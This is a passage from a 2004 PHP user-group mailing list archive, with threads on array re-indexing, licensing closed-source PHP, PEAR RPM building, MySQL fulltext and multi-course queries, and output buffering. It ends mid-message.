> Dan
> 
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
> 
> 
> 




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Message: 6
Date: Thu, 20 May 2004 12:31:02 -0500
From: Rafi Sheikh <Rafi.Sheikh at Ingenix.com>
Subject: [nycphp-talk] Change key values in array
To: "'talk at lists.nyphp.org'" <talk at lists.nyphp.org>
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Hi folks.  Is it possible to change the key value type in an array?  I have
an array that has string key values, for my purposes I need it to have int
index

NOW LOOKS LIKE:
array(6) { ["04-01"]=> int(0) ["04-02"]=> string(2) "32" ["04-03"]=> int(0)
["04-04"]=> int(0) ["04-05"]=> int(0) ["04-06"]=> int(0) }

I NEED IT TO LOOK LIKE:
array(6) { [0]=> int(0) [1]=> string(2) "32" [2]=> int(0) [3]=> int(0) [4]=>
int(0) [5]=> int(0) }

REASON:
I am getting date value from a DB, and than doing an array_merge with
another template to ensure that any missing month for a category get a zero
in the correct sequence.  Problem is that, the resulting array needs to have
int index for the graphing utility to work.

TIA


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Message: 7
Date: Thu, 20 May 2004 13:39:28 -0400
From: Phillip Powell <phillip.powell at adnet-sys.com>
Subject: Re: [nycphp-talk] Change key values in array
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Rafi Sheikh wrote:

>Hi folks.  Is it possible to change the key value type in an array?  I have
>an array that has string key values, for my purposes I need it to have int
>index
>
>NOW LOOKS LIKE:
>array(6) { ["04-01"]=> int(0) ["04-02"]=> string(2) "32" ["04-03"]=> int(0)
>["04-04"]=> int(0) ["04-05"]=> int(0) ["04-06"]=> int(0) }
>
>I NEED IT TO LOOK LIKE:
>array(6) { [0]=> int(0) [1]=> string(2) "32" [2]=> int(0) [3]=> int(0)
[4]=>
>int(0) [5]=> int(0) }
>
>  
>

 From first glance I would say just use array_values(), that creates the 
enumerative array you want from the original array with the values in 
the same order.

Phil

>REASON:
>I am getting date value from a DB, and than doing an array_merge with
>another template to ensure that any missing month for a category get a zero
>in the correct sequence.  Problem is that, the resulting array needs to
have
>int index for the graphing utility to work.
>
>TIA
>
>
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Message: 8
Date: Thu, 20 May 2004 13:36:06 -0400
From: "Daniel Kushner" <nyphp at websapp.com>
Subject: RE: [nycphp-talk] Change key values in array
To: "'NYPHP Talk'" <talk at lists.nyphp.org>
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array_values()

-Daniel


> -----Original Message-----
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> Sent: Thursday, May 20, 2004 13:31
> To: 'talk at lists.nyphp.org'
> Subject: [nycphp-talk] Change key values in array
> 
> Hi folks.  Is it possible to change the key value type in an 
> array?  I have an array that has string key values, for my 
> purposes I need it to have int index
> 
> NOW LOOKS LIKE:
> array(6) { ["04-01"]=> int(0) ["04-02"]=> string(2) "32" 
> ["04-03"]=> int(0) ["04-04"]=> int(0) ["04-05"]=> int(0) 
> ["04-06"]=> int(0) }
> 
> I NEED IT TO LOOK LIKE:
> array(6) { [0]=> int(0) [1]=> string(2) "32" [2]=> int(0) 
> [3]=> int(0) [4]=>
> int(0) [5]=> int(0) }
> 
> REASON:
> I am getting date value from a DB, and than doing an 
> array_merge with another template to ensure that any missing 
> month for a category get a zero in the correct sequence.  
> Problem is that, the resulting array needs to have int index 
> for the graphing utility to work.
> 
> TIA
> 
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Message: 9
Date: Thu, 20 May 2004 14:09:50 -0400
From: "inforequest" <sm11szw02 at sneakemail.com>
Subject: Re: [nycphp-talk] PHP License Management
To: talk at lists.nyphp.org
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I have used Zen and ionCube on small-scale projects, and I can add:

Consider your vendor in light of your support needs - how much do you 
provide and how much do your customers need. If you will be doing the 
server setup/config then maybe there's no issue, but if the customer has 
to accomodate your use of Zend or ionCube then you may want to consider 
how each of those vendors handles inquiries (since they now become a 
contributor to your companies customer satisfaction quotient). Last 
thing you need is a great product that gets a bad rep because your 
encoder vendor had some compatibility issues.

When I was using ionCube there were some issues with the order in which 
ionCube and Zend extensions were to be installed, and when I used Zend 
there were some additional issues as well related to other products in 
use on the same server. It got messy when the customer moved from dev to 
production servers, especially.  I handled the Zend issues with Zend 
support (they responded very well) and handled the ionCube stuff via 
Internet searches. In then end my solution was dependent on end-user 
server configuration -- something to be aware of. That was a year ago.

I would recommend tying the product to domain name instead of IP. Makes 
for fewer support calls and customer inquiries (change of DNS doesn't 
require support), and perhaps most importantly ties integrity to a 
brand. IMHO companies are less inclined to try beating it  when their 
brand name may be compromised/banned. There may be security issues of 
which I am not attuned that make IP a better choice.

I would also recommend you encode only choice parts using a modular 
approach, perhaps only encoding parts that tie to IP or domain, and then 
a few random bits for obfuscation. This deters the casual cracker, and 
occupies the  determined infringer. Not sure how it plays into 
performance though.

IMHO the  Zend  solution is more likely to need an update when the Zend 
suite is updated, while the ionCube product is more stand-alone (and 
perhaps may be a better value if you only need a perpetual license for 
the encoder).

Finally I have noticed alot of back and forth banter in vendor pre-sale 
forums when encoding is part of the solution, related to how it is used, 
how it effects portability (the IP vs. Domain name thing), who supports 
the server config, etc. If you make it clear that you use encoding, 
perhaps provide sufficient info up front about how it is used or you may 
end up increasing your pre-sale support costs.

-=john

Daniel Kushner nyphp-at-websapp.com |nyphp 04/2004| wrote:

>Warning: I work for Zend Technologies !
>
>
>The Zend SafeGuard Suite includes the Encoder and licensing software
>all-in-one.
>
>http://www.zend.com/store/products/zend-safeguard-suite.php
>
>Zend enjoys giving New York PHP discounts. You can contact me off list if
>you're interested ;)
>
>Best,
>Daniel Kushner
>
>
>  
>
>>-----Original Message-----
>>From: talk-bounces at lists.nyphp.org 
>>[mailto:talk-bounces at lists.nyphp.org] On Behalf Of Dan Cech
>>Sent: Thursday, May 20, 2004 13:06
>>To: NYPHP Talk
>>Subject: [nycphp-talk] PHP License Management
>>
>>Hi all,
>>
>>I've been asked to come up with a licensing solutions for a 
>>closed-source php application, and wondered if anyone had any advice.
>>
>>The application will be licensed either in perpetuity or on a 
>>subscription basis, and each license will be tied to a 
>>particular server to make unauthorised distribution more difficult.
>>
>>The idea I came up with was to create a server app where the 
>>user could log in and view/purchase/extend licenses and 
>>manage the IP address(es) each license is tied to.
>>
>>The 'license' itself would be an encrypted token containing 
>>the client id, expiry date, ip address(es) etc signed with a 
>>private key.
>>
>>The actual software would then be encoded to protect the source from
>>(casual) prying eyes (I was thinking of using the Turck 
>>MMCache encoder for this) and include code to check the 
>>license validity and take appropriate action.
>>
>>The most obvious (to me) attack on the system is to 
>>reverse-engineer the code and remove the license check, which 
>>could be mitigated somewhat be encoding the entire app and 
>>'hiding' the check within the code.
>>
>>It seems to me like a viable solution, but I'm no security 
>>expert and would appreciate any and all comments or pointers 
>>to existing solutions.
>>
>>Dan
>>
>>_______________________________________________
>>talk mailing list
>>talk at lists.nyphp.org
>>http://lists.nyphp.org/mailman/listinfo/talk
>>
>>
>>
>>    
>>
>
>
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From tom at supertom.com  Thu May 20 22:20:17 2004
From: tom at supertom.com (Tom)
Date: Thu, 20 May 2004 22:20:17 -0400
Subject: [nycphp-talk] pear makerpm
Message-ID: <0HY100MMEKIOL2@mta5.srv.hcvlny.cv.net>

Hey folks,
 
Anyone have experience with the makerpm option in PEAR?  I can generate the
SPEC file just fine, but I can't build the rpm with rpmbuild -bb, as it says
in the manual.  I have the source tarball in the SOURCES directory, and the
SPEC file in the SPECS directory.  The error that I receive is:
 
error: Bad exit status from /var/tmp/rpm-tmp.31347 (%prep)
 
I get a similar error for any of the packages that I try to build.
 
I also have some questions about the pear format in general.  I'm going
through the developer's guide at pear.php.net to learn more about the pear
package format.  What I don't see is where the package is "registered", so
the system knows what version you are running.
 
Can anyone shed some light on these?
 
Thanks,
 
Tom
www.liphp.org
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From leam at reuel.net  Fri May 21 04:35:17 2004
From: leam at reuel.net (leam)
Date: Fri, 21 May 2004 04:35:17 -0400
Subject: [nycphp-talk] pear makerpm
In-Reply-To: <0HY100MMEKIOL2@mta5.srv.hcvlny.cv.net>
References: <0HY100MMEKIOL2@mta5.srv.hcvlny.cv.net>
Message-ID: <40ADBF45.8010506@reuel.net>

Tom wrote:
> Hey folks,
>  
> Anyone have experience with the makerpm option in PEAR?  I can generate the
> SPEC file just fine, but I can't build the rpm with rpmbuild -bb, as it says
> in the manual.  I have the source tarball in the SOURCES directory, and the
> SPEC file in the SPECS directory.  The error that I receive is:
>  
> error: Bad exit status from /var/tmp/rpm-tmp.31347 (%prep)
>  
> I get a similar error for any of the packages that I try to build.

> Can anyone shed some light on these?
>  
> Thanks,
>  
> Tom
> www.liphp.org

I don't know that much, but can you send the spec file? The (%prep) 
stanza may need looking at.

ciao!

leam



From tom at supertom.com  Fri May 21 08:10:44 2004
From: tom at supertom.com (Tom)
Date: Fri, 21 May 2004 08:10:44 -0400
Subject: [nycphp-talk] pear makerpm
In-Reply-To: <40ADBF45.8010506@reuel.net>
Message-ID: <0HY200AHEBU99U@mta2.srv.hcvlny.cv.net>

I guess I should have included that - here it is below - generated from
PEAR:

In one of the PEAR directories, there template.spec file, and this just gets
the specific values swapped in.


Summary: PEAR: Framework to benchmark PHP scripts or function calls.
Name: PEAR::Benchmark
Version: 1.2.1
Release: 1
License: PHP License
Group: Development/Libraries
Source: http://pear.php.net/get/Benchmark-%{version}.tgz
BuildRoot: %{_tmppath}/%{name}-root
URL: http://pear.php.net/
Prefix: %{_prefix}
#Docdir: /usr/share/pear/docs/Benchmark
BuildArchitectures: noarch


%description
Framework to benchmark PHP scripts or function calls.

%prep
rm -rf %{buildroot}/*
# XXX Source files location is missing here in pear cmd
pear -v -c %{buildroot}/pearrc \
        -d php_dir=%{_libdir}/php/pear \
        -d doc_dir=/docs \
        -d bin_dir=%{_bindir} \
        -d data_dir=%{_libdir}/php/pear/data \
        -d test_dir=%{_libdir}/php/pear/tests \
        -d ext_dir=%{_libdir} \
        -s

%build
echo BuildRoot=%{buildroot}

%postun
pear uninstall --nodeps -r Benchmark
rm /var/lib/pear/Benchmark.xml

%post
pear install --nodeps -r /var/lib/pear/Benchmark.xml

%install
pear -c %{buildroot}/pearrc install --nodeps -R %{buildroot} \
        $RPM_SOURCE_DIR/Benchmark-%{version}.tgz
rm %{buildroot}/pearrc
rm %{buildroot}/%{_libdir}/php/pear/.filemap
rm %{buildroot}/%{_libdir}/php/pear/.lock
rm -rf %{buildroot}/%{_libdir}/php/pear/.registry
if [ -d "%{buildroot}/docs/Benchmark/doc" ]; then
    rm -rf $RPM_BUILD_DIR/doc
    mv %{buildroot}/docs/Benchmark/doc $RPM_BUILD_DIR
    rm -rf %{buildroot}/docs
fi
mkdir -p %{buildroot}/var/lib/pear
tar -xzf $RPM_SOURCE_DIR/Benchmark-%{version}.tgz package.xml
cp -p package.xml %{buildroot}/var/lib/pear/Benchmark.xml

#rm -rf %{buildroot}/*
#pear -q install -R %{buildroot} -n package.xml
#mkdir -p %{buildroot}/var/lib/pear
#cp -p package.xml %{buildroot}/var/lib/pear/Benchmark.xml

%files
    %defattr(-,root,root)
    %doc  doc/timer_example.php
    /


 

-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On
Behalf Of leam
Sent: Friday, May 21, 2004 4:35 AM
To: NYPHP Talk
Subject: Re: [nycphp-talk] pear makerpm

Tom wrote:
> Hey folks,
>  
> Anyone have experience with the makerpm option in PEAR?  I can 
> generate the SPEC file just fine, but I can't build the rpm with 
> rpmbuild -bb, as it says in the manual.  I have the source tarball in 
> the SOURCES directory, and the SPEC file in the SPECS directory.  The
error that I receive is:
>  
> error: Bad exit status from /var/tmp/rpm-tmp.31347 (%prep)
>  
> I get a similar error for any of the packages that I try to build.

> Can anyone shed some light on these?
>  
> Thanks,
>  
> Tom
> www.liphp.org

I don't know that much, but can you send the spec file? The (%prep) stanza
may need looking at.

ciao!

leam

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From jkelly at sussex.edu  Fri May 21 10:15:28 2004
From: jkelly at sussex.edu (jessica kelly)
Date: Fri, 21 May 2004 10:15:28 -0400
Subject: [nycphp-talk] New Functions on old PHP
Message-ID: <s0add6d1.054@mail.sussex.edu>

Hi,

I have an script that was written after PHP 4.0.5 and wish to figure out what functions need to be worked around to get it to work on the 4.0.5 server. 

Other than checking the functions one by one on the function / PHP version table at php.net, is there a tool out there that would do it for me?

TIA,

Jessica





From phillip.powell at adnet-sys.com  Fri May 21 10:25:13 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Fri, 21 May 2004 10:25:13 -0400
Subject: [nycphp-talk] MySQL 4.0.10 Fulltext Search Relevancy Problem
Message-ID: <40AE1149.6060609@adnet-sys.com>

Apologies in advance if this is off-topic but this has been a perplexing 
issue now for weeks and found no resolution on several PHP and MySQL 
boards and forums.

Environment: PHP 4.3.2, MySQL 4.0.10, Apache 2.0, Linux Red Hat 7.3


I have a rather complicated query that is dynamically created via PHP 
class method, with a combination of LEFT JOINs and two MATCHES where the 
first match is non-boolean to get the accurate score, the second to 
search as boolean:

    quote:
    ------------------------------------------------------------------------

    SELECT
    image.id, image.image_name,
    (MATCH (image_name, image_alt, image_location_city,
    image_location_state, image_location_country) AGAINST ('test')
    OR MATCH (first_name, last_name) AGAINST ('test')
    OR MATCH (keyword_name) AGAINST ('test')
    OR MATCH (event_name) AGAINST ('test')
    OR MATCH (placement_name) AGAINST ('test')
    ) as score,
    image.image_path, image.image_creation_date
    FROM image

    LEFT JOIN image_person_assoc ON image_person_assoc.image_id = image.id
    LEFT JOIN person ON person.id = image_person_assoc.person_id
    LEFT JOIN image_keyword_assoc ON image_keyword_assoc.image_id =
    image.id
    LEFT JOIN keyword ON keyword.id = image_keyword_assoc.keyword_id
    LEFT JOIN image_event_assoc ON image_event_assoc.image_id = image.id
    LEFT JOIN event ON event.id = image_event_assoc.event_id
    LEFT JOIN image_placement_assoc ON image_placement_assoc.image_id =
    image.id
    LEFT JOIN placement ON placement.id =
    image_placement_assoc.placement_id

    WHERE MATCH (image_name, image_alt, image_location_city,
    image_location_state, image_location_country) AGAINST ('+test+' IN
    BOOLEAN MODE)
    OR MATCH (first_name, last_name) AGAINST ('+test+' IN BOOLEAN MODE)
    OR MATCH (keyword_name) AGAINST ('+test+' IN BOOLEAN MODE)
    OR MATCH (event_name) AGAINST ('+test+' IN BOOLEAN MODE)
    OR MATCH (placement_name) AGAINST ('+test+' IN BOOLEAN MODE)

    GROUP BY image.id
    ORDER BY score DESC, upper(image.image_name) ASC
    ------------------------------------------------------------------------



Sample Results:

    quote:
    ------------------------------------------------------------------------

    +-----+----------------------------+-------+-------------------------------------------------------------------------+---------------------+

    | id | image_name             | score |
    image_path                                     | image_creation_date |
    +-----+----------------------------+-------+-------------------------------------------------------------------------+---------------------+

    | 100 |blah.jpg                   | 1        |
    /html/images/blah.jpg                  | 2003-01-01 |
    | 101 | mysql-81x42.png | 1        | /html/images/mysql-81x42.png |
    0000-00-00 |
    +-----+----------------------------+-------+-------------------------------------------------------------------------+---------------------+

    ------------------------------------------------------------------------



Using this query I always get a relevancy score of 1 every time; I do 
not actually get the floating-point decimal number that I was seeking 
(the accurate relevancy); this based on information I found at 
http://dev.mysql.com/doc/mysql/en/Fulltext_Search.html . The SQL query 
is correct, though (I receive no SQl-related nor MySQL-related errors), 
just not numerically accurate in its relevancy.

Anything I might need to do to finetune this?

Thanx
Phil

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From nyphp at websapp.com  Fri May 21 10:21:57 2004
From: nyphp at websapp.com (Daniel Kushner)
Date: Fri, 21 May 2004 10:21:57 -0400
Subject: [nycphp-talk] New Functions on old PHP
In-Reply-To: <s0add6d1.054@mail.sussex.edu>
Message-ID: <200405211422.i4LEM13S013920@ns5.oddcast.com>

http://www.zend.com/phpfunc/a.php

-Daniel
 

> -----Original Message-----
> From: talk-bounces at lists.nyphp.org 
> [mailto:talk-bounces at lists.nyphp.org] On Behalf Of jessica kelly
> Sent: Friday, May 21, 2004 10:15
> To: talk at lists.nyphp.org
> Subject: [nycphp-talk] New Functions on old PHP
> 
> Hi,
> 
> I have an script that was written after PHP 4.0.5 and wish to 
> figure out what functions need to be worked around to get it 
> to work on the 4.0.5 server. 
> 
> Other than checking the functions one by one on the function 
> / PHP version table at php.net, is there a tool out there 
> that would do it for me?
> 
> TIA,
> 
> Jessica
> 
> 
> 
> _______________________________________________
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> http://lists.nyphp.org/mailman/listinfo/talk
> 
> 
> 



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>     SELECT
>     image.id, image.image_name,
>     (MATCH (image_name, image_alt, image_location_city,
>     image_location_state, image_location_country) AGAINST ('test')
>     OR MATCH (first_name, last_name) AGAINST ('test')
>     OR MATCH (keyword_name) AGAINST ('test')
>     OR MATCH (event_name) AGAINST ('test')
>     OR MATCH (placement_name) AGAINST ('test')
>     ) as score,
>     image.image_path, image.image_creation_date
>     FROM image

...

> Using this query I always get a relevancy score of 1 every=20
> time; I do not actually get the floating-point decimal number=20
> that I was seeking (the accurate relevancy); this based on=20

This is because of your MATCH statements.  Because you are doing OR,
it's a logical operator, and thus:

1 OR 1 OR 1 =3D 1

I think you need to revisit your query and possibly break it into
multiple queries.

H


From phillip.powell at adnet-sys.com  Fri May 21 13:37:09 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Fri, 21 May 2004 13:37:09 -0400
Subject: [nycphp-talk] MySQL 4.0.10 Fulltext Search Relevancy Problem
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References: <41EE526EC2D3C74286415780D3BA9F8702108DE6@ehost011-1.exch011.intermedia.net>
Message-ID: <40AE3E45.4070600@adnet-sys.com>

Hans Zaunere wrote:

>>    SELECT
>>    image.id, image.image_name,
>>    (MATCH (image_name, image_alt, image_location_city,
>>    image_location_state, image_location_country) AGAINST ('test')
>>    OR MATCH (first_name, last_name) AGAINST ('test')
>>    OR MATCH (keyword_name) AGAINST ('test')
>>    OR MATCH (event_name) AGAINST ('test')
>>    OR MATCH (placement_name) AGAINST ('test')
>>    ) as score,
>>    image.image_path, image.image_creation_date
>>    FROM image
>>    
>>
>
>...
>
>  
>
>>Using this query I always get a relevancy score of 1 every 
>>time; I do not actually get the floating-point decimal number 
>>that I was seeking (the accurate relevancy); this based on 
>>    
>>
>
>This is because of your MATCH statements.  Because you are doing OR,
>it's a logical operator, and thus:
>
>1 OR 1 OR 1 = 1
>
>I think you need to revisit your query and possibly break it into
>multiple queries.
>
>H
>_______________________________________________
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>  
>
That does make sense.. hmm.. will have to revisit that.. next week Beer 
time!

Thanx though!
Phil

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From tommyo at gmail.com  Fri May 21 14:37:58 2004
From: tommyo at gmail.com (Thomas O'Neill)
Date: Fri, 21 May 2004 13:37:58 -0500
Subject: [nycphp-talk] Output Buffering and Blank Page
Message-ID: <d0cb92620405211137422deb1e@mail.gmail.com>

Hey Everyone!

I have a problem that is about half solved and I am looking for some
input from the group.

The site I work for has a large member base (~1000 - 3000 members
online at any given time)

We have output buffering turned on to improve performance.  It seems
to work great but on scripts that have large queries the user will see
a blank white page until the script finishes. Sometimes this can be
annoying when the script takes more then a few seconds to execute.

In order to avoid this I have come up with a scheme that works very
well but I would really appreciate some criticism/tips to improve it.

The Scheme is comprised of three parts the loading script, the process
script and the display script.

Loading Script
-----------------------------
Displays a cute loading icon and forwards GETS/POSTS to an embedded image.
When the page/image finishes loading (javascript onload) the page is
forwarded on to the display script.

Process Script (embedded image in the Loading Script)
-----------------------------
The process Script will do all the work and create the output that
normally is shot out to the screen after waiting for the white/blank
screen to go away.  When the script is finished the output is stored
to a session variable and the buffer cleared.  Finally a one pixal png
will be output so the Loading Script will know its done.

Display Script
-----------------------------
The user will be directed here after the process script is done.  If
the output of the process script is in the session variable it is
displayed and the session variable is unset.  The user sees the
results.

So at this point this little hack is working great in my staging area.
How will this scale to all of our users?  Is it safe to put the html
(about 1k) into the sessions for that many people at the same time? Am
I going at this problem all wrong?

Thanks in advance everyone!

TOM O'NEILL


From nyphp at newslogic.com  Fri May 21 15:48:51 2004
From: nyphp at newslogic.com (Andy Crain)
Date: Fri, 21 May 2004 15:48:51 -0400
Subject: [nycphp-talk] New Functions on old PHP
In-Reply-To: <s0add6d1.054@mail.sussex.edu>
Message-ID: <004801c43f6c$a77a3b40$650aa8c0@newslogiyn65wg>


> I have an script that was written after PHP 4.0.5 and wish to figure out
> what functions need to be worked around to get it to work on the 4.0.5
> server.
> 
> Other than checking the functions one by one on the function / PHP version
> table at php.net, is there a tool out there that would do it for me?

Try the PEAR PHP_Compatibility package
(http://pear.php.net/pepr/pepr-proposal-show.php?id=27): "Finds the lowest
version of PHP needed to run a PHP file/PHP files in a folder. Will soon
parse a script and check all includes and find the lowest common version.
Additionally, it finds all extensions needed to run the code. This could
easily be used in PEAR_PackageFileManager, say you set a PHP dependency of
"auto" and it'll detect it. Also could be used to find all extension
dependencys."
Very alpha but probably better than doing it by hand.

Andy




From jkelly at sussex.edu  Fri May 21 16:41:28 2004
From: jkelly at sussex.edu (jessica kelly)
Date: Fri, 21 May 2004 16:41:28 -0400
Subject: [nycphp-talk] New Functions on old PHP
Message-ID: <s0ae3142.071@mail.sussex.edu>

Thank's,

Exactly what I was looking for. Much better than looking up things on the Function/Version table.

Jessica

>>> nyphp at newslogic.com 5/21/04 3:48:51 PM >>>

> I have an script that was written after PHP 4.0.5 and wish to figure out
> what functions need to be worked around to get it to work on the 4.0.5
> server.
> 
> Other than checking the functions one by one on the function / PHP version
> table at php.net, is there a tool out there that would do it for me?

Try the PEAR PHP_Compatibility package
(http://pear.php.net/pepr/pepr-proposal-show.php?id=27): "Finds the lowest
version of PHP needed to run a PHP file/PHP files in a folder. Will soon
parse a script and check all includes and find the lowest common version.
Additionally, it finds all extensions needed to run the code. This could
easily be used in PEAR_PackageFileManager, say you set a PHP dependency of
"auto" and it'll detect it. Also could be used to find all extension
dependencys."
Very alpha but probably better than doing it by hand.

Andy


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From nyphp at newslogic.com  Fri May 21 17:00:10 2004
From: nyphp at newslogic.com (Andy Crain)
Date: Fri, 21 May 2004 17:00:10 -0400
Subject: [nycphp-talk] New Functions on old PHP
In-Reply-To: <s0ae3142.071@mail.sussex.edu>
Message-ID: <006001c43f76$9dc63540$650aa8c0@newslogiyn65wg>

> Thank's,
> 
> Exactly what I was looking for. Much better than looking up things on the
> Function/Version table.

No problem. Maybe you could report back on how well it works. I'd be
interested in hearing.
Andy




From list at harveyk.com  Sun May 23 17:42:10 2004
From: list at harveyk.com (harvey)
Date: Sun, 23 May 2004 17:42:10 -0400
Subject: [nycphp-talk] SQL statement question
Message-ID: <04c501c4410e$d11e54b0$0200a8c0@desktop>

Hello,

I'm going to create a MySql table that looks something like the following (I think). It's a history of courses taken by students.

History_ID Student_FID Course_FID
1          34          2
2          17          7
3          21          5
4          02          5
5          34          5
6          17          4
...        ...         ...

I'd like to be able to say which students have met the requirements of certain programs. So, I need a statement that will produce a list of Student_FID's that are matched with a particular set of Course_FID's. For instance, which students took both course 5 and course 2? 

So, I'm trying subqueries to find students who have taken courses 1,2,and 3:

"SELECT *
 FROM
 (SELECT *
  FROM
  (SELECT *
   FROM history
   WHERE course_fid = 3)
   AS id3
  WHERE course_fid = 2)
  AS id2
 WHERE course_fid = 1"

I get an error that my sql syntax is wrong. Maybe it is. Or maybe my host's version of MySQL is too old? Is there a better SQL statement? Any help is appreciated...

Thanks!
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From robyn at nyu.edu  Sun May 23 17:53:13 2004
From: robyn at nyu.edu (Robyn Overstreet)
Date: Sun, 23 May 2004 17:53:13 -0400
Subject: [nycphp-talk] SQL statement question
In-Reply-To: <04c501c4410e$d11e54b0$0200a8c0@desktop>
Message-ID: <96FA1CD0-AD03-11D8-B070-0003931CACB0@nyu.edu>

Did you try:

SELECT * FROM history WHERE (course_fid=1 AND course_fid=2 AND 
course_fid=3);

You could also use OR instead of AND, depending on the results you want.


On Sunday, May 23, 2004, at 05:42  PM, harvey wrote:

> Hello,
> ?
> I'm going to create a MySql table that looks something like the 
> following (I think). It's a history of courses taken by students.
> ?
> History_ID?Student_FID?Course_FID
> 1????? ??? 34????? ??? 2
> 2????? ??? 17????? ??? 7
> 3????? ??? 21????? ??? 5
> 4????? ??? 02????? ??? 5
> 5????? ??? 34????? ??? 5
> 6????? ??? 17????? ??? 4
> ...????????...?????????...
> ?
> I'd like to be able to say which students have met the requirements of 
> certain programs. So, I need a statement that will produce a list of 
> Student_FID's that are matched with a particular set of Course_FID's. 
> For instance, which students took both course 5 and course 2?
> ?
> So, I'm trying subqueries to find students who have taken courses 
> 1,2,and 3:
> ?
> "SELECT *
> ?FROM
> ?(SELECT *
> ??FROM
> ??(SELECT *
> ???FROM history
> ???WHERE course_fid = 3)
> ???AS id3
> ??WHERE course_fid = 2)
> ??AS id2
> ?WHERE course_fid = 1"
> ?
> I get an error that my sql syntax is wrong. Maybe it is. Or maybe my 
> host's version of MySQL is too old? Is there a better SQL statement? 
> Any help is appreciated...
> ?
> Thanks!
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
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From patterson at computer.org  Sun May 23 18:04:43 2004
From: patterson at computer.org (Bill Patterson)
Date: Sun, 23 May 2004 18:04:43 -0400
Subject: [nycphp-talk] SQL statement question
In-Reply-To: <04c501c4410e$d11e54b0$0200a8c0@desktop>
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Message-ID: <40B11FFB.2010700@computer.org>

*mysql> select a.Student_FID from TMPhistory a, TMPhistory b
    -> where a.Student_FID = b.Student_FID
    -> and a.Course_FID = 5 and b.Course_FID = 2;
+-------------+
| Student_FID |
+-------------+
|          34 |
+-------------+*

to find out about 3 courses just add another alias for your table

Bill


harvey wrote:

> Hello,
>  
> I'm going to create a MySql table that looks something like the 
> following (I think). It's a history of courses taken by students.
>  
> History_ID Student_FID Course_FID
> 1          34          2
> 2          17          7
> 3          21          5
> 4          02          5
> 5          34          5
> 6          17          4
> ...        ...         ...
>  
> I'd like to be able to say which students have met the requirements of 
> certain programs. So, I need a statement that will produce a list of 
> Student_FID's that are matched with a particular set of Course_FID's. 
> For instance, which students took both course 5 and course 2?
>  
> So, I'm trying subqueries to find students who have taken courses 
> 1,2,and 3:
>  
> "SELECT *
>  FROM
>  (SELECT *
>   FROM
>   (SELECT *
>    FROM history
>    WHERE course_fid = 3)
>    AS id3
>   WHERE course_fid = 2)
>   AS id2
>  WHERE course_fid = 1"
>  
> I get an error that my sql syntax is wrong. Maybe it is. Or maybe my 
> host's version of MySQL is too old? Is there a better SQL statement? 
> Any help is appreciated...
>  
> Thanks!
>
>------------------------------------------------------------------------
>
>_______________________________________________
>talk mailing list
>talk at lists.nyphp.org
>http://lists.nyphp.org/mailman/listinfo/talk
>  
>



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> Hello,
> =20
> I'm going to create a MySql table that looks something like=20
> the following (I think). It's a history of courses taken by students.
> =20
> History_ID Student_FID Course_FID
> 1          34          2
> 2          17          7
> 3          21          5
> 4          02          5
> 5          34          5
> 6          17          4
> ...        ...         ...
> =20
> I'd like to be able to say which students have met the=20
> requirements of certain programs. So, I need a statement that=20
> will produce a list of Student_FID's that are matched with a=20
> particular set of Course_FID's. For instance, which students=20
> took both course 5 and course 2?=20
> =20
> So, I'm trying subqueries to find students who have taken=20
> courses 1,2,and 3:
> =20
> "SELECT *
>  FROM
>  (SELECT *
>   FROM
>   (SELECT *
>    FROM history
>    WHERE course_fid =3D 3)
>    AS id3
>   WHERE course_fid =3D 2)
>   AS id2
>  WHERE course_fid =3D 1"
> =20
> I get an error that my sql syntax is wrong. Maybe it is. Or=20
> maybe my host's version of MySQL is too old? Is there a=20
> better SQL statement? Any help is appreciated...

Unless you're using MySQL 4.1 or later (which I doubt, since it's not
production level yet) sub-queries are not supported.

To answer your question "which students took both course 5 and course
2?" I'd recommend a query like this (assuming History_FID is unique):

SELECT H1.Student_FID
FROM history H1 LEFT JOIN history H2 ON H2.History_ID=3DH1.History_ID
WHERE H1.Course_FID =3D '5' AND H2.Course_FID =3D '2'

H



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> I have a problem that is about half solved and I am looking=20
> for some input from the group.
>=20
> The site I work for has a large member base (~1000 - 3000=20
> members online at any given time)
>=20
> We have output buffering turned on to improve performance. =20
> It seems to work great but on scripts that have large queries=20
> the user will see a blank white page until the script=20
> finishes. Sometimes this can be annoying when the script=20
> takes more then a few seconds to execute.
>=20
> In order to avoid this I have come up with a scheme that=20
> works very well but I would really appreciate some=20
> criticism/tips to improve it.
>=20
> The Scheme is comprised of three parts the loading script,=20
> the process script and the display script.
>=20
> Loading Script
> -----------------------------
> Displays a cute loading icon and forwards GETS/POSTS to an=20
> embedded image.
> When the page/image finishes loading (javascript onload) the=20
> page is forwarded on to the display script.
>=20
> Process Script (embedded image in the Loading Script)
> -----------------------------
> The process Script will do all the work and create the output=20
> that normally is shot out to the screen after waiting for the=20
> white/blank screen to go away.  When the script is finished=20
> the output is stored to a session variable and the buffer=20
> cleared.  Finally a one pixal png will be output so the=20
> Loading Script will know its done.
>=20
> Display Script
> -----------------------------
> The user will be directed here after the process script is=20
> done.  If the output of the process script is in the session=20
> variable it is displayed and the session variable is unset. =20
> The user sees the results.
>=20
> So at this point this little hack is working great in my staging area.
> How will this scale to all of our users?  Is it safe to put=20
> the html (about 1k) into the sessions for that many people at=20
> the same time? Am I going at this problem all wrong?

I'm by no means an expert is browser and JS tricks, but it sounds like a
clever way of doing it.  Clever enough even for a presentation?  :)  It
seems to be a common issue people need to resolve.

H



From list at harveyk.com  Sun May 23 19:21:10 2004
From: list at harveyk.com (harvey)
Date: Sun, 23 May 2004 19:21:10 -0400
Subject: [nycphp-talk] SQL statement question
References: <04c501c4410e$d11e54b0$0200a8c0@desktop>
	<40B11FFB.2010700@computer.org>
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Thanks, Bill.

I tried the following, but I get an error that table TMPhistory does not
exist. Do I have to somehow create the temporary tables first?

SELECT a.student_fid from TMPhistory a, TMPhistory b, TMPhistory c
WHERE a.student_fid = b.student_fid = c.student_fid
AND a.course_fid = 1 AND b.course_fid = 2 AND c.course_fid = 3

Also, I tried the following and it works, sort of:

select * from history
inner join history as t1 using (student_fid)
inner join history as t2 using (student_fid)
inner join history as t3 using (student_fid)
where (t1.course_fid = 1)
and (t2.course_fid = 2)
and (t3.course_fid = 3)

I get the correct student_fid, but I get it 3 times, I guess because it
